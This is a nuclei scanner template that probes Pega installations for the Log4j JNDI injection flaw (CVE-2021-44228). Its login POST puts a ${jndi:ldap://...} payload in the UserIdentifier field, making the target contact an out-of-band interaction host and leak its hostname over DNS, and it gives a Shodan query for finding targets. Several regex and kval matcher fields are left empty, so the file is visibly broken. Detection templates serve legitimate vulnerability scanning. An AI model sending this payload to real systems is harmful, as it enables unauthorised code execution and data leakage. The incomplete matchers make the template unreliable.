nuclei-templates/http/vulnerabilities/other/pega-log4j-rce.yaml

id: pega-log4j-rce

info:
  name: Pega - Remote Code Execution (Apache Log4j)
  author: shaikhyaser
  severity: critical
  description: |
    Pega is susceptible to Log4j JNDI remote code execution. Pega provides a powerful low-code platform that empowers the world's leading enterprises to Build for Change.
  reference:
    - https://docs.pega.com/security-advisory/security-advisory-apache-log4j-zero-day-vulnerability
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    max-request: 2
    shodan-query: title:"Pega"
  tags: cve,cve2021,rce,jndi,log4j,pega,oast,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'
  str: "{{rand_base(5)}}"

http:
  - raw:
      - |
        GET /prweb/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
      - |
        POST {{location}} HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Referer: {{location}}
        Content-Type: application/x-www-form-urlencoded

        pzAuth=guest&UserIdentifier=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&Password=a&pyActivity%3DCode-Security.Login=&lockScreenID=&lockScreenPassword=&newPassword=&confirmNewPassword=

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:


    extractors:
      - type: kval
        kval:


      - type: regex
        group: 2
        regex:
        part: interactsh_request

      - type: regex
        group: 1
        regex:
        part: interactsh_request

      - type: kval
        kval:
          - location
        internal: true
        name: location
        part: header_1
# digest: 490a0046304402205fb4eb66590eaa65eb66290ca57902ebe46b44ead624908b6448035475dafa2f02203bec250351443c84085c94cffc27ec22543f96af86e1d0956d51b5b56739b9cf:922c64590222798bb761d5b6d8e72950